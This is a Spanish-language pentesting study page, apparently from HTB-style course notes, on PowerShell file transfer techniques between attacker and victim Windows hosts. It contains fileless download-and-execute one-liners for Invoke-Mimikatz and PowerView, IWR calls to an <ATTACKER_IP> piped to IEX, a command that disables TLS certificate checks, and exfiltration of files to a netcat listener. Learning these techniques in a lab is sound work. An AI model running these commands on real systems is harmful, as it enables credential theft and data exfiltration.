PowerShell
PowerShell Session File Transfer
Ya hablamos de realizar transferencias de archivos con PowerShell, pero puede haber escenarios en los que HTTP, HTTPS o SMB no estén disponibles. Si ese es el caso, podemos usar PowerShell Remoting, también conocido como WinRM, para realizar operaciones de transferencia de archivos.
PowerShell Remoting nos permite ejecutar scripts o comandos en una computadora remota mediante sesiones de PowerShell. Los administradores suelen usar PowerShell Remoting para administrar computadoras remotas en una red, y también podemos usarlo para operaciones de transferencia de archivos. De manera predeterminada, al habilitar PowerShell Remoting se crean un receptor HTTP y un receptor HTTPS. Los receptores se ejecutan en los puertos predeterminados TCP/5985 para HTTP y TCP/5986 para HTTPS.
Para crear una sesión de PowerShell Remoting en una computadora remota, necesitaremos acceso administrativo, ser miembro del grupo Remote Management Users
o tener permisos explícitos para PowerShell Remoting en la configuración de la sesión. Creemos un ejemplo y transfiramos un archivo de DC01
a DATABASE01
y viceversa.
Tenemos una sesión como Administrador en DC01
, el usuario tiene derechos administrativos en DATABASE01
y PowerShell Remoting
está habilitado. Usemos Test-NetConnection
para confirmar que podemos conectarnos a WinRM
.
From DC01 - Confirm WinRM port TCP 5985 is Open on DATABASE01.
PS C:\htb> whoami
htb\administrator
PS C:\htb> hostname
DC01
PS C:\htb> Test-NetConnection -ComputerName DATABASE01 -Port 5985
ComputerName : DATABASE01
RemoteAddress : 192.168.1.101
RemotePort : 5985
InterfaceAlias : Ethernet0
SourceAddress : 192.168.1.100
TcpTestSucceeded : True
Como esta sesión ya tiene privilegios sobre DATABASE01, no necesitamos especificar credenciales. En el ejemplo siguiente, se crea una sesión en la computadora remota denominada DATABASE01 y se almacenan los resultados en la variable denominada $Session.
Create a PowerShell Remoting Session to DATABASE01
PS C:\htb> $Session = New-PSSession -ComputerName DATABASE01
Podemos usar el cmdlet Copy-Item para copiar un archivo de nuestra máquina local DC01 a la sesión DATABASE01 que tenemos $Session o viceversa.
Copy samplefile.txt from our Localhost to the DATABASE01 Session
PS C:\htb> Copy-Item -Path C:\samplefile.txt -ToSession $Session -Destination C:\Users\Administrator\Desktop\
Copy DATABASE.txt from DATABASE01 Session to our Localhost
PS C:\htb> Copy-Item -Path "C:\Users\Administrator\Desktop\DATABASE.txt" -Destination C:\ -FromSession $Session
Download Operations
PowerShell File Download
DownloadFile --> Descarga datos de un recurso a un archivo local.
DownloadFileAsync --> Descarga datos de un recurso a un archivo local sin bloquear el hilo que lo llama.
# Ejemplo DownloadFile:(New-Object Net.WebClient).DownloadFile('<Target File URL>','<Output File Name>')
PS C:\htb> (New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1','C:\Users\Public\Downloads\PowerView.ps1')
# Ejemplo DownloadFileAsync: (New-Object Net.WebClient).DownloadFileAsync('<Target File URL>','<Output File Name>')
PS C:\htb> (New-Object Net.WebClient).DownloadFileAsync('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1', 'C:\Users\Public\Downloads\PowerViewAsync.ps1')
PowerShell Invoke-WebRequest
# Desde Kali levantamos un servidor web con Python para compartir archivos.
python3 -m http.server 80
# Desde Windows descargarmos el archivo con IWR (Invoke-WebRequest)
IWR -Uri http://<ATTACKER_IP>/archivo.txt -OutFile C:\path\destination\archivo.txt
Invoke-WebRequest -Uri http://<ATTACKER_IP>/archivo.txt -OutFile C:\path\destination\archivo.txt
PowerShell DownloadString - Fileless Method
Ejecutar directamente en memoria el script a través de IEX
.
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')
(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1') | IEX
PowerShell Base64 Transfer
# Desde Kali codificamos en Base64 el archivo que queremos transferir
cat archivo.txt | base64 -w 0; echo
# Desde PowerShell (Víctima), decodificamos el contenido y lo almacenamos en una ruta
[IO.File]::WriteAllBytes("C:\Users\Public\archivo.txt", [Convert]::FromBase64String("<BASE64_CODE>"))
powershell -c "[IO.File]::WriteAllBytes('C:\Users\Public\archivo.txt', [Convert]::FromBase64String('<BASE64_CODE>'))"
Common Errors with PowerShell
Internet Explorer 11 Not Completed
Puede haber casos en los que la configuración inicial de Internet Explorer no se haya completado, lo que impide la descarga.

Esto se puede evitar utilizando el parámetro -UseBasicParsing
.
PS C:\htb> IWR -Uri http://<ATTACKER_IP>/PowerView.ps1 | IEX
Invoke-WebRequest : The response content cannot be parsed because the Internet Explorer engine is not available, or Internet Explorer's first-launch configuration is not complete. Specify the UseBasicParsing parameter and try again.
At line:1 char:1
+ Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/P ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotImplemented: (:) [Invoke-WebRequest], NotSupportedException
+ FullyQualifiedErrorId : WebCmdletIEDomNotSupportedException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand
PS C:\htb> IWR -Uri http://<ATTACKER_IP>PowerView.ps1 -UseBasicParsing | IEX
Secure Channel SSL/TLS is not trusted
Otro error en las descargas de PowerShell está relacionado con el canal seguro SSL/TLS si el certificado no es de confianza. Podemos evitar ese error con el siguiente comando:
PS C:\htb> IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
Exception calling "DownloadString" with "1" argument(s): "The underlying connection was closed: Could not establish trust
relationship for the SSL/TLS secure channel."
At line:1 char:1
+ IEX(New-Object Net.WebClient).DownloadString('https://raw.githubuserc ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : WebException
PS C:\htb> [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
Upload Operations
PowerShell Base64
# Desde el equipo victima convertimos el archivo 'file.bin' que no es legible a Base64
powershell -c "[convert]::ToBase64String((cat C:\\Temp\\file.bin -Encoding byte))"
[convert]::ToBase64String((cat C:\\Temp\\file.bin -Encoding byte))
# Desde el equipo atacante, descodificamos el contenido y obtenemos el archivo original. Nos hemos pasado el archivo solamente codificando en Base64.
echo '<BASE64_CODE>' | base64 -d > file.bin
PowerShell Web Uploads
PowerShell no tiene una función integrada para operaciones de carga de archivos, pero podemos usar Invoke-WebRequest
o Invoke-RestMethod
para construir nuestra propia función de carga. También necesitaremos un servidor web que acepte cargas de archivos, ya que esta no es una opción predeterminada en la mayoría de los servidores web comunes.
Para nuestro servidor web, podemos usar uploadserver, un módulo extendido de Python HTTP.server, que incluye una página para la carga de archivos. Vamos a instalarlo y a iniciar el servidor web.
sudo pip3 install uploadserver --break-system-packages
Installing a Configured WebServer with Upload
❯ sudo pip3 install uploadserver --break-system-packages
❯ python3 -m uploadserver
Ahora podemos usar un script de PowerShell llamado PSUpload.ps1
, que utiliza Invoke-RestMethod
para realizar las operaciones de carga. El script acepta dos parámetros:
-File
, que usamos para especificar la ruta del archivo.-Uri
, que es la URL del servidor donde subiremos nuestro archivo.
Vamos a intentar subir el archivo hosts
desde nuestro sistema Windows.
╭╴at ~\Desktop
╰─ IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
╭╴at ~\Desktop
╰─ Invoke-FileUpload -Uri http://192.168.49.128:8000/upload -File C:\Windows\System32\drivers\etc\hosts
[+] File Uploaded: C:\Windows\System32\drivers\etc\hosts
[+] FileHash: 5E7241D66FD77E9E8EA866B6278B2373
PowerShell Base64 Web Upload
Otra forma de usar PowerShell y archivos codificados en Base64 para cargas es combinando Invoke-WebRequest
o Invoke-RestMethod
con Netcat.
Usamos Netcat para escuchar en un puerto específico y recibir la solicitud POST con el archivo.
Luego, copiamos la salida y utilizamos la función de decodificación Base64 para convertir la cadena en un archivo.
PS C:\htb> $b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte))
PS C:\htb> Invoke-WebRequest -Uri http://192.168.134.128:8000/ -Method POST -Body $b64
Capturamos los datos en Base64 con Netcat y luego usamos la aplicación base64 con la opción de decodificación para convertir la cadena en un archivo.
❯ nc -nlvp 8000
listening on [any] 8000 ...
connect to [192.168.134.128] from (UNKNOWN) [192.168.134.1] 52051
POST / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; es-ES) WindowsPowerShell/5.1.26100.2161
Content-Type: application/x-www-form-urlencoded
Host: 192.168.134.128:8000
Content-Length: 1100
Connection: Keep-Alive
IyBDb3B5cmlnaHQgKGMpIDE5OTMtMjAwOSBNaWNyb3NvZnQgQ29ycC4NCiMNCiMgVGhpcyBpcyBhIHNhbXBsZSBIT1HNh
❯ echo <base64> | base64 -d -w 0 > hosts
Última actualización
¿Te fue útil?